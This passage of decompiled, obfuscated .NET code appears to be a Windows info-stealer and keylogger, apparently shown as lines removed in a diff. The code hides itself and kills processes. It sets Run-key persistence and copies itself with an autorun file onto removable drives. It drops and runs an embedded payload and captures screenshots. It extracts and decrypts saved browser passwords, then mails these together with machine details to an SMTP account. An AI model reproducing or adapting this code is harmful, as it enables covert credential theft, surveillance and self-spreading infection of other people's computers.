=> this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0096([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0097() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0097([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0098() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0098([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0008() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0008([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u000F)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual Label \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] Label obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0099() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0099([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual BackgroundWorker \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] BackgroundWorker obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - DoWorkEventHandler workEventHandler = new DoWorkEventHandler((object) obj, __vmethodptr(obj, \u0003)); - if (this.\u0001 != null) - this.\u0001.DoWork -= workEventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.DoWork += workEventHandler; - } - - [DebuggerNonUserCode] - internal virtual ListBox \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] ListBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u009A() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u009A([In] TextBox obj0) => this.\u0001 = obj0; - - [DllImport("gdi32", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0003( - [In] int obj0, - [In] int obj1, - [In] int obj2, - [In] int obj3, - [In] int obj4, - [In] int obj5, - [In] int obj6, - [In] int obj7, - [In] int obj8); - - [DllImport("user32", EntryPoint = "GetDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0003([In] IntPtr obj0); - - [DllImport("user32", EntryPoint = "ReleaseDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0003([In] IntPtr obj0, [In] int obj1); - - public string \u0003([In] string obj0, [In] string obj1) - { - long num1 = checked ((long) Math.Round(unchecked ((double) Strings.Len(obj1) / 2.0))); - long num2 = 1; - string str; - while (num2 <= num1) - { - int num3 = checked ((int) Math.Round(Conversion.Val(\u0001.\u0003(-1567516702) + Strings.Mid(obj1, (int) (2L * num2 - 1L), 2)))); - int num4 = Strings.Asc(Strings.Mid(obj0, checked ((int) (unchecked (num2 % (long) Strings.Len(obj0)) + 1L)), 1)); - str += Conversions.ToString(Strings.Chr(num3 ^ num4)); - checked { ++num2; } - } - return str; - } - - public string \u0003() - { - string str1; - try - { - string str2 = \u0001.\u0003(-1567516679); - string str3 = \u0001.\u0003(-1567516759); - str1 = Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject((object) \u0001.\u0003(-1567516839), this.\u0003(ref str2)), (object) \u0001.\u0003(-1567516826)), (object) \u0001.\u0003(-1567516803)), (object) this.\u0003(Conversions.ToString(this.\u0003(ref str3))))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return str1; - } - - public object \u0003([In] ref string obj0) - { - object obj1; - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num2 = 2; - object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject(\u0001.\u0003(-1567516925), string.Empty)); - string MemberName = \u0001.\u0003(-1567516905); - object[] objArray = new object[1]{ (object) obj0 }; - object[] Arguments = objArray; - bool[] flagArray = new bool[1]{ true }; - bool[] CopyBack = flagArray; - object obj2 = NewLateBinding.LateGet(objectValue, (System.Type) null, MemberName, Arguments, (string[]) null, (System.Type[]) null, CopyBack); - if (flagArray[0]) - obj0 = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[0]), typeof (string)); - obj1 = RuntimeHelpers.GetObjectValue(obj2); - goto label_9; -label_4: - num1 = -1; - switch (num2) - { - case 2: - obj1 = (object) null; - goto label_9; - } - } - catch (Exception ex) when ( - { - // ISSUE: unable to correctly present filter - int num3; - if (ex is Exception & num2 != 0 & num3 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_4; - } - throw ProjectData.CreateProjectError(-2146828237); -label_9: - object obj3 = obj1; - if (num1 == 0) - return obj3; - ProjectData.ClearProjectError(); - return obj3; - } - - public string \u0003([In] string obj0) - { - object Left = (object) null; - object LoopForResult; - object CounterResult; - object Counter; - if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(Counter, (object) 1, (object) Strings.Len(obj0), (object) 1, ref LoopForResult, ref CounterResult)) - goto label_2; -label_1: - return Conversions.ToString(Left); -label_2: - do - { - object Right = (object) Strings.Mid(obj0, Conversions.ToInteger(CounterResult), 2); - Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) Strings.Chr(checked ((int) Math.Round(Conversion.Val(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject((object) \u0001.\u0003(-1567516895), Right)))))); - CounterResult = Microsoft.VisualBasic.CompilerServices.Operators.AddObject(CounterResult, (object) 1); - } - while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(CounterResult, LoopForResult, ref CounterResult)); - goto label_1; - } - - public object \u0003() - { - object obj; - try - { - string file = Interaction.Environ(\u0001.\u0003(-1567517235)) + \u0001.\u0003(-1567517217); - string str1 = Conversions.ToString(1); - string str2 = \u0001.\u0003(-1567516826); - string end = \u0002.\u0003().FileSystem.OpenTextFileReader(file).ReadToEnd(); - string str3 = (string) null; - string[] strArray1 = end.Split('\r'); - str1 = (string) null; - string[] strArray2 = strArray1; - int index = 0; - while (index < strArray2.Length) - { - string str4 = strArray2[index]; - if (str4.Contains(\u0001.\u0003(-1567517189))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517302))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517307))) - str3 = str3 + str4 + str2 + str2; - checked { ++index; } - } - obj = (object) str3; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return obj; - } - - public object \u0004() - { - object obj; - try - { - string file = Interaction.Environ(\u0001.\u0003(-1567517235)) + \u0001.\u0003(-1567517292); - string str1 = Conversions.ToString(1); - string str2 = \u0001.\u0003(-1567516826); - string end = \u0002.\u0003().FileSystem.OpenTextFileReader(file).ReadToEnd(); - string str3 = (string) null; - string[] strArray1 = end.Split('\r'); - str1 = (string) null; - string[] strArray2 = strArray1; - int index = 0; - while (index < strArray2.Length) - { - string str4 = strArray2[index]; - if (str4.Contains(\u0001.\u0003(-1567517367))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517349))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517355))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517317))) - str3 = str3 + str4 + str2; - if (str4.Contains(\u0001.\u0003(-1567517323))) - str3 = str3 + str4 + str2 + str2; - checked { ++index; } - } - obj = (object) str3; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return obj; - } - - protected override void WndProc([In] ref System.Windows.Forms.Message obj0) - { - if (obj0.Msg == 537) - this.\u0003(ref obj0); - base.WndProc(ref obj0); - } - - private void \u0003([In] ref System.Windows.Forms.Message obj0) - { - switch ((int) obj0.WParam) - { - case 32768: - this.\u0006(); - break; - } - } - - public void \u0004() - { - string tempPath = Path.GetTempPath(); - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0001.\u0003(-1567517433), true); - registryKey.SetValue(\u0001.\u0003(-1567517493), (object) (tempPath + \u0001.\u0003(-1567517474))); - registryKey.Close(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(\u0001.\u0003(-1567517458), true); - registryKey.SetValue(\u0001.\u0003(-1567517493), (object) (tempPath + \u0001.\u0003(-1567517474))); - registryKey.Close(); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - - private void \u0005() - { - string tempPath = Path.GetTempPath(); - this.\u0001 = Path.GetFileName(Application.ExecutablePath); - this.\u0001 = tempPath + \u0001.\u0003(-1567517474); - if (!System.IO.File.Exists(this.\u0001)) - return; - System.IO.File.Copy(this.\u0001, this.\u0001); - } - - public void \u0006() - { -label_0: - int num1; - int num2; - try - { - int num3 = 1; - string fileName = Path.GetFileName(Application.ExecutablePath); -label_17: - ProjectData.ClearProjectError(); - num2 = -2; -label_1: - num3 = 3; - \u0002.\u0003().Registry.SetValue(\u0001.\u0003(-1567517550), \u0001.\u0003(-1567517594), (object) \u0001.\u0003(-1567517583), RegistryValueKind.DWord); -label_2: - num3 = 4; - string[] logicalDrives = Environment.GetLogicalDrives(); -label_3: - num3 = 5; - int num4 = checked (logicalDrives.Length - 1); - int index = 0; - goto label_13; -label_4: - num3 = 6; - DriveInfo driveInfo = new DriveInfo(logicalDrives[index]); -label_5: - num3 = 7; - if (driveInfo.DriveType != DriveType.Removable) - goto label_12; -label_6: - num3 = 8; - if (!driveInfo.IsReady) - goto label_12; -label_7: - num3 = 9; - if (System.IO.File.Exists(logicalDrives[index] + fileName)) - goto label_12; -label_8: - num3 = 10; - System.IO.File.Copy(Application.ExecutablePath, logicalDrives[index] + fileName, true); -label_9: - num3 = 11; - \u0002.\u0003().FileSystem.WriteAllText(logicalDrives[index] + \u0001.\u0003(-1567517687), \u0001.\u0003(-1567517665) + logicalDrives[index] + fileName + \u0001.\u0003(-1567517664) + logicalDrives[index], true); -label_10: - num3 = 12; - FileSystem.SetAttr(logicalDrives[index] + fileName, FileAttribute.Normal); -label_11: - num3 = 13; - FileSystem.SetAttr(logicalDrives[index] + \u0001.\u0003(-1567517687), FileAttribute.Hidden); -label_12: - num3 = 17; - checked { ++index; } -label_13: - if (index <= num4) - goto label_4; - else - goto label_21; -label_15: - num1 = num3; - switch (num2 > -2 ? num2 : 1) - { - case 1: - int num5 = num1 + 1; - num1 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_17; - case 3: - goto label_1; - case 4: - goto label_2; - case 5: - goto label_3; - case 6: - goto label_4; - case 7: - goto label_5; - case 8: - goto label_6; - case 9: - goto label_7; - case 10: - goto label_8; - case 11: - goto label_9; - case 12: - goto label_10; - case 13: - goto label_11; - case 14: - case 15: - case 16: - case 17: - goto label_12; - case 18: - goto label_21; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0) - { - ProjectData.SetProjectError(ex); - goto label_15; - } - throw ProjectData.CreateProjectError(-2146828237); -label_21: - if (num1 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void \u0003([In] string obj0) - { - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.ProcessName.Contains(obj0)) - process.Kill(); - checked { ++index; } - } - } - - private void \u0003([In] object obj0, [In] EventArgs obj1) - { - this.Opacity = 0.0; - this.ShowInTaskbar = false; - this.Hide(); - this.WindowState = FormWindowState.Minimized; - this.\u0003(\u0001.\u0003(-1567515702)); - this.\u0003(\u0001.\u0003(-1567515708)); - if (\u0002.\u0003().Info.OSFullName.Contains(\u0001.\u0003(-1567515690))) - { - try - { - this.\u0092().Text = Application.ExecutablePath; - if (!this.\u0092().Text.Contains(\u0001.\u0003(-1567517474))) - { - this.\u0003(\u0001.\u0003(-1567515667)); - this.\u0004(); - this.\u0005(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - { - try - { - if (System.IO.File.Exists(\u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515767))) - System.IO.File.Delete(\u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515767)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (!Directory.Exists(\u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515767))) - Directory.CreateDirectory(\u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515809)); - if (!System.IO.File.Exists(\u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515767))) - FileSystem.FileCopy(Application.ExecutablePath, \u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515767)); - } - try - { - byte[] array = \u0002.\u0003(); - FileStream fileStream = System.IO.File.Create(this.\u0001 + \u0001.\u0003(-1567515887)); - fileStream.Write(array, 0, array.Length); - fileStream.Close(); - Conversions.ToString(Interaction.Shell(this.\u0001 + \u0001.\u0003(-1567515887), AppWinStyle.Hide)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileClose(1); - this.\u0001 = Strings.Split(this.\u0001, \u0001.\u0003(-1567515846)); - this.\u0004().Text = this.\u0001[1]; - this.\u0005().Text = this.\u0001[2]; - this.\u0014().Text = this.\u0001[3]; - this.\u0015().Text = this.\u0001[4]; - this.\u0016().Text = this.\u0001[5]; - this.\u0017().Text = this.\u0001[6]; - this.\u001C().Text = this.\u0001[7]; - this.\u001D().Text = this.\u0001[8]; - this.\u0095().Text = this.\u0001[13]; - this.\u008B().Text = this.\u0001[14]; - this.\u0096().Text = this.\u0001[15]; - this.\u0097().Text = this.\u0001[16]; - this.\u0098().Text = this.\u0001[17]; - this.\u0087().Text = this.\u0001[9]; - this.\u0088().Text = this.\u0001[10]; - this.\u0003().Checked = Conversions.ToBoolean(this.\u0001[11]); - this.\u0003().AutoCheck = Conversions.ToBoolean(this.\u0001[11]); - this.\u0004().Checked = Conversions.ToBoolean(this.\u0001[12]); - this.\u0004().AutoCheck = Conversions.ToBoolean(this.\u0001[12]); - this.\u0003().Start(); - this.\u0004().Start(); - this.\u0005().Start(); - this.\u0006().Start(); - this.\u0007().Start(); - this.\u0008().Start(); - this.\u0007().Text = this.\u0003(this.\u0006().Text, this.\u0004().Text); - this.\u0008().Text = this.\u0003(this.\u0006().Text, this.\u0005().Text); - this.\u008A().Text = this.\u0003(this.\u0006().Text, this.\u0095().Text); - this.\u008C().Text = this.\u0003(this.\u0006().Text, this.\u0096().Text); - this.\u008D().Text = this.\u0003(this.\u0006().Text, this.\u0097().Text); - this.\u008E().Text = this.\u0003(this.\u0006().Text, this.\u0098().Text); - int integer = Conversions.ToInteger(this.\u001D().Text); - this.\u0003().Interval = checked (integer * 60 * 1000); - this.\u000E().Text = Environment.MachineName; - this.\u000F().Text = Environment.UserName; - this.\u0010().Text = \u0002.\u0003().Info.OSFullName; - this.\u0011().Text = \u0002.\u0003().Info.OSPlatform; - this.\u0012().Text = \u0002.\u0003().Info.OSVersion; - this.\u0013().Text = \u0002.\u0003().Info.InstalledUICulture.ToString(); - try - { - new SmtpClient(this.\u0087().Text) - { - Port = Conversions.ToInteger(this.\u0088().Text), - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0007().Text, this.\u0008().Text)) - }.Send(new MailMessage() - { - From = new MailAddress(this.\u0007().Text), - To = { - this.\u0007().Text - }, - Subject = \u0001.\u0003(-1567515962) + Environment.UserName, - Body = \u0001.\u0003(-1567515909) + Environment.UserName + \u0001.\u0003(-1567516826) + Environment.MachineName - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.\u0003().RunWorkerAsync(); - this.\u0091().Text = this.\u0001; - if (System.IO.File.Exists(this.\u0001 + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516060))) - System.IO.File.Delete(this.\u0001 + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516060)); - this.\u0018().Text += \u0001.\u0003(-1567516145); - try - { - bool flag = false; - string str1 = Environment.GetEnvironmentVariable(\u0001.\u0003(-1567516124)) + \u0001.\u0003(-1567516215); - string[] directories = Directory.GetDirectories(Environment.GetEnvironmentVariable(\u0001.\u0003(-1567517235)) + \u0001.\u0003(-1567516207)); - int index1 = 0; - while (index1 < directories.Length) - { - string path = directories[index1]; - if (!flag) - { - string[] files = Directory.GetFiles(path); - int index2 = 0; - while (index2 < files.Length) - { - string input = files[index2]; - if (!flag) - { - if (Regex.IsMatch(input, \u0001.\u0003(-1567516175))) - { - \u0001.\u0003(path); - \u0001.\u0001 = input; - } - checked { ++index2; } - } - else - break; - } - checked { ++index1; } - } - else - break; - } - string str2 = \u0001.\u0001; - \u0001.\u0001 obj2 = new \u0001.\u0001(); - \u0001.\u0001 obj3 = new \u0001.\u0001(); - \u0001.\u0001 obj4 = new \u0001.\u0001(); - \u0003 obj5 = new \u0003(str2); - DataTable dataTable1 = obj5.\u0003(\u0001.\u0003(-1567516284)); - DataTable dataTable2 = obj5.\u0003(\u0001.\u0003(-1567516252)); - try - { - foreach (DataRow row in dataTable2.Rows) - ; - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - \u0001.\u0003(\u0001.\u0003(), true, 0L); - try - { - foreach (DataRow row in dataTable1.Rows) - { - string str3 = Convert.ToString(row[\u0001.\u0003(-1567516323)].ToString()); - this.\u0018().Text = this.\u0018().Text + \u0001.\u0003(-1567516319) + str3; - StringBuilder stringBuilder1 = new StringBuilder(row[\u0001.\u0003(-1567516301)].ToString()); - IntPtr num = new IntPtr(\u0001.\u0003(IntPtr.Zero, IntPtr.Zero, stringBuilder1, stringBuilder1.Length)); - \u0001.\u0001 structure1 = (\u0001.\u0001) Marshal.PtrToStructure(num, typeof (\u0001.\u0001)); - if (\u0001.\u0003(ref structure1, ref obj3, 0) == 0 && obj3.\u0001 != 0) - { - byte[] numArray = new byte[checked (obj3.\u0001 - 1 + 1)]; - num = new IntPtr(obj3.\u0001); - Marshal.Copy(num, numArray, 0, obj3.\u0001); - this.\u0018().Text = this.\u0018().Text + \u0001.\u0003(-1567516389) + Encoding.ASCII.GetString(numArray); - } - StringBuilder stringBuilder2 = new StringBuilder(row[\u0001.\u0003(-1567516376)].ToString()); - num = new IntPtr(\u0001.\u0003(IntPtr.Zero, IntPtr.Zero, stringBuilder2, stringBuilder2.Length)); - \u0001.\u0001 structure2 = (\u0001.\u0001) Marshal.PtrToStructure(num, typeof (\u0001.\u0001)); - if (\u0001.\u0003(ref structure2, ref obj4, 0) == 0 && obj4.\u0001 != 0) - { - byte[] numArray = new byte[checked (obj4.\u0001 - 1 + 1)]; - num = new IntPtr(obj4.\u0001); - Marshal.Copy(num, numArray, 0, obj4.\u0001); - this.\u0018().Text = this.\u0018().Text + \u0001.\u0003(-1567516368) + Encoding.ASCII.GetString(numArray); - } - this.\u0018().Text += \u0001.\u0003(-1567516145); - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0007() - { - this.\u0003().Items.Clear(); - Process[] processes1 = Process.GetProcesses(); - int index1 = 0; - while (index1 < processes1.Length) - { - Process process = processes1[index1]; - this.\u0003().Items.Add((object) process.ProcessName); - checked { ++index1; } - } - this.\u0003().Sorted = true; - this.\u0003().Items.Count.ToString(); - if (this.\u0003().Items.Contains((object) \u0001.\u0003(-1567516488))) - return; - try - { - bool flag = false; - Process[] processes2 = Process.GetProcesses(); - int index2 = 0; - while (index2 < processes2.Length) - { - if (processes2[index2].ProcessName.Equals(\u0001.\u0003(-1567516595))) - flag = true; - checked { ++index2; } - } - if (flag) - return; - Process.Start(this.\u0001 + \u0001.\u0003(-1567516590)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0004([In] object obj0, [In] EventArgs obj1) - { - if (System.IO.File.Exists(this.\u0001 + \u0001.\u0003(-1567516549))) - goto label_7; -label_2: - try - { - new SmtpClient(this.\u0087().Text) - { - Port = Conversions.ToInteger(this.\u0088().Text), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0007().Text, this.\u0008().Text)), - EnableSsl = true - }.Send(new MailMessage() - { - From = new MailAddress(this.\u0007().Text), - To = { - this.\u0007().Text - }, - Subject = this.\u0001 + \u0001.\u0003(-1567516050) + this.\u001C().Text + \u0001.\u0003(-1567516050) + this.\u0001, - Body = this.\u0003().Text - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - this.\u0003().Clear(); - this.\u0007(); - StreamWriter streamWriter = new StreamWriter(this.\u0001); - streamWriter.WriteLine(\u0001.\u0003(-1567516556)); - streamWriter.Flush(); - streamWriter.Close(); - if (!System.IO.File.Exists(this.\u0001 + \u0001.\u0003(-1567516549))) - return; - System.IO.File.Delete(this.\u0001 + \u0001.\u0003(-1567516549)); - return; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } -label_7: - this.\u0003().Text = System.IO.File.ReadAllText(this.\u0001 + \u0001.\u0003(-1567516549)); - goto label_2; - } - - public void \u0008() - { - using (WebClient webClient = new WebClient()) - { - try - { - this.\u0001 = webClient.DownloadString(\u0001.\u0003(-1567516666)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - private void \u0005([In] object obj0, [In] EventArgs obj1) - { - } - - private void \u0006([In] object obj0, [In] EventArgs obj1) - { - this.\u001E().Text = Conversions.ToString(this.\u0004()); - this.\u001F().Text = this.\u0003(); - this.\u007F().Text = Conversions.ToString(this.\u0003()); - this.\u0091().Text = this.\u0001; - Path.GetTempPath(); - try - { - new SmtpClient(this.\u0087().Text) - { - Port = Conversions.ToInteger(this.\u0088().Text), - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0007().Text, this.\u0008().Text)) - }.Send(new MailMessage() - { - From = new MailAddress(this.\u0007().Text), - To = { - this.\u0007().Text - }, - Subject = this.\u0001 + \u0001.\u0003(-1567514679) + this.\u0001, - Body = \u0001.\u0003(-1567514655) + this.\u0018().Text + \u0001.\u0003(-1567514944) + this.\u001E().Text + \u0001.\u0003(-1567515093) + this.\u0080().Text + \u0001.\u0003(-1567515257) + this.\u001F().Text + \u0001.\u0003(-1567515440) + this.\u007F().Text + \u0001.\u0003(-1567515597) + this.\u0091().Text + \u0001.\u0003(-1567521858) + this.\u000E().Text + \u0001.\u0003(-1567516826) + this.\u000F().Text + \u0001.\u0003(-1567516826) + this.\u0010().Text + \u0001.\u0003(-1567516826) + this.\u0011().Text + \u0001.\u0003(-1567516826) + this.\u0012().Text + \u0001.\u0003(-1567516826) + this.\u0013().Text - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.\u0005().Stop(); - this.\u0005().Enabled = false; - } - - private void \u0007([In] object obj0, [In] EventArgs obj1) - { - try - { - string tempPath = Path.GetTempPath(); - int width = 1280; - int height = 1000; - Bitmap bitmap = new Bitmap(width, height); - Graphics graphics = Graphics.FromImage((Image) bitmap); - IntPtr num1; - int num2 = \u0003.\u0003(num1); - IntPtr hdc = graphics.GetHdc(); - \u0003.\u0003(hdc.ToInt32(), 0, 0, width, height, num2, 0, 0, 13369376); - \u0003.\u0003(this.\u0001, num2); - graphics.ReleaseHdc(hdc); - string str = \u0001.\u0003(-1567522153); - string filename = tempPath + str; - bitmap.Save(filename); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(this.\u0007().Text); - message.To.Add(this.\u0007().Text); - message.Subject = \u0001.\u0003(-1567522117) + Environment.MachineName; - message.Body = \u0001.\u0003(-1567522240); - message.Attachments.Add(new Attachment(this.\u0001 + \u0001.\u0003(-1567522153))); - new SmtpClient(this.\u0087().Text) - { - Port = Conversions.ToInteger(this.\u0088().Text), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0007().Text, this.\u0008().Text)), - EnableSsl = true - }.Send(message); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0003([In] object obj0, [In] FormClosingEventArgs obj1) => Application.Restart(); - - private void \u0008([In] object obj0, [In] EventArgs obj1) - { - try - { - int num = (int) MessageBox.Show(this.\u0017().Text, this.\u0016().Text, MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u000E([In] object obj0, [In] EventArgs obj1) - { - StreamWriter streamWriter = new StreamWriter(this.\u0001); - streamWriter.WriteLine(\u0001.\u0003(-1567522344)); - streamWriter.WriteLine(\u0001.\u0003(-1567522486)); - streamWriter.WriteLine(this.\u0018().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567522499)); - streamWriter.WriteLine(this.\u001E().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567522668)); - streamWriter.WriteLine(this.\u0080().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567522728)); - streamWriter.WriteLine(this.\u001F().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567522759)); - streamWriter.WriteLine(this.\u007F().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567520852)); - streamWriter.WriteLine(\u0001.\u0003(-1567520917) + this.\u0091().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567520904)); - streamWriter.WriteLine(this.\u000E().Text); - streamWriter.WriteLine(this.\u000F().Text); - streamWriter.WriteLine(this.\u0010().Text); - streamWriter.WriteLine(this.\u0011().Text); - streamWriter.WriteLine(this.\u0012().Text); - streamWriter.WriteLine(this.\u0013().Text); - streamWriter.Flush(); - streamWriter.Close(); - string tempPath = Path.GetTempPath(); - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(this.\u008A().Text, string.Empty, false) != 0) - { - try - { - if (this.\u008A().Text.Contains(\u0001.\u0003(-1567520986))) - this.\u0001 = this.\u008A().Text; - if (!this.\u008A().Text.Contains(\u0001.\u0003(-1567520986))) - this.\u0001 = 